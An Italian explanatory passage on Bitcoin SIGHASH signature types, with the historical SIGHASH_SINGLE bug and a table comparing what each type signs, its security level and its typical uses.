791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

A causa di un bug storico di Bitcoin, in tali situazioni l'hash della transazione da firmare viene restituito come un numero fisso – uno (int 1). Questo non corrisponde a un hash valido della transazione in fase di firma e può creare problemi di sicurezza e compatibilità.
Oltre ai tre valori SIGHASH di base, sono possibili combinazioni di questi valori con il flag SIGHASH_ANYONECANPAY , che consente di firmare un solo input, lasciando gli altri aperti alla modifica. Questo amplia le possibilità di creare protocolli collaborativi complessi e transazioni multi-party, in cui diversi partecipanti firmano solo le proprie parti.
I tipi
SIGHASHinBitcoinsono un meccanismo intelligente per gestire il livello di controllo e la portata delle firme digitali all'interno delle transazioni. Bilanciano sicurezza, flessibilità e compatibilità. La storia include complicazioni inaspettate, come il bug conSIGHASH_SINGLEsenza output corrispondente, che evidenzia l'importanza di una profonda comprensione dei dettagli tecnici per lavorare con Bitcoin con successo a un livello avanzato.
Le differenze tra i tipi di firma SIGHASH_ALL, SIGHASH_NONE e SIGHASH_SINGLE hanno un impatto significativo sulla sicurezza delle transazioni Bitcoin perché determinano quali parti della transazione sono coperte dalla firma digitale e quindi protette da modifiche.
L'uso improprio o la mancata corretta implementazione di SIGHASH_ALL nelle firme delle transazioni Bitcoin può portare a gravi vulnerabilità che compromettono la sicurezza dei fondi e l'integrità del sistema. Gli aspetti chiave di queste vulnerabilità sono:
| Tipo di Sighash | Cosa viene firmato? | Livello di sicurezza | Rischi possibili | Applicazione |
|---|
| SIGHASH_ALL | Tutti gli input e output della transazione | Massimo – nessuna modifica possibile | Necessità di modifiche (occorre firmare nuovamente la transazione) | Standard per la maggior parte dei pagamenti |
| SIGHASH_NONE | Tutti gli input, nessun output | Medio – gli output non sono protetti | Sostituzione degli output, perdita di controllo sui destinatari | Scenari cooperativi, multi-firma |
| SIGHASH_SINGLE | Tutti gli input, output con indice corrispondente all'input | Basso – solo un output sarà protetto | Bug in assenza dell'output corrispondente, sostituzione parziale | Pagamenti parziali, scenari complessi |